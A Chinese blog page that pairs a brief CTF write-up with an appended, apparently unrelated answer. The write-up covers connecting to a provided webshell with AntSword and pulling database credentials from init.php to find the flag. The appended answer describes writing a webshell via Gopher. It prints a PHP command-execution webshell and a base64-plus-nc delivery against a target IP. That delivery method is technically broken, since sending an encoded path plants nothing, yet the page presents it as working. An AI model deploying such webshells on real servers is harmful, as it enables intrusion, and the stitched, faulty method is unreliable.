命令执行:webshell&中国菜刀

靶场地址:http://www.whalwl.xyz:8013

 

解题准备:了解webshell的基本原理,以及连接数据库的参数定义

解题思路:

1、进入网站,直接告诉了webshell地址和连接密码

 2、使用中国蚁剑,连接成功。

 3、进入文件管理,一共四个文件,从init.php得到数据库配置信息

4、 手动连接数据库

5、填写数据库配置,测试连接成功,添加! 

6、 从数据库中找到flag。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
使用 Gopher 协议写 Webshell 的详细流程如下: 1. 编写 Webshell 脚本:首先需要编写一个 Webshell 脚本,可以使用 PHP、Perl、Python 等语言编写,脚本需要实现远程命令执行和文件上传等功能。例如,以下是一个简单的 PHP Webshell: ``` <?php echo system($_GET['cmd']); ?> ``` 2. 将 Webshell 脚本进行 base64 编码:使用 base64 工具将 Webshell 脚本进行编码,以便后面将其插入到 Gopher URL 中。例如,在 Linux 系统上可以使用以下命令进行编码: ``` cat shell.php | base64 ``` 3. 构造 Gopher URL:将编码后的 Webshell 脚本插入到 Gopher URL 中,形如 `gopher://hostname:port/_<base64-encoded-php-script>`。其中,`hostname` 和 `port` 分别为目标主机和端口号,`base64-encoded-php-script` 为编码后的 Webshell 脚本。 例如,假设 Webshell 脚本编码后的内容为 `PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==`,目标主机为 `192.168.1.100`,端口号为 `80`,则构造的 Gopher URL 如下: ``` gopher://192.168.1.100:80/_PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg== ``` 4. 发送 Gopher 请求:使用浏览器或者 curl 等工具访问构造的 Gopher URL,从而触发 Webshell 脚本执行。例如,在 Linux 系统上可以使用以下命令发送 Gopher 请求: ``` printf "GET /_%s HTTP/1.0\r\n\r\n" "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==" | nc -w 1 192.168.1.100 80 ``` 其中,`-w 1` 表示设置超时时间为 1 秒,`192.168.1.100` 和 `80` 分别为目标主机和端口号。 5. 执行命令或者上传文件:发送 Gopher 请求后,在浏览器的地址栏中输入相应的命令参数,即可执行远程命令;或者上传文件到目标服务器。例如,输入以下命令参数可以执行 `ls` 命令: ``` ?cmd=ls%20-la ``` 完整的步骤如下所示: 1. 编写 PHP Webshell 脚本: ```php <?php echo system($_GET['cmd']); ?> ``` 2. 使用 base64 工具编码 Webshell 脚本: ``` cat shell.php | base64 ``` 编码后的结果为: ``` PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg== ``` 3. 构造 Gopher URL: ``` gopher://192.168.1.100:80/_PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg== ``` 4. 发送 Gopher 请求: ``` printf "GET /_%s HTTP/1.0\r\n\r\n" "PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg==" | nc -w 1 192.168.1.100 80 ``` 5. 在浏览器的地址栏中输入命令参数 `?cmd=ls%20-la`,即可执行 `ls -la` 命令,输出目录的详细信息。 需要注意的是,使用 Gopher 协议写 Webshell 存在一定的风险,容易被防火墙和安全设备识别和拦截。因此,在实际应用中,需要根据具体情况进行选择和调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值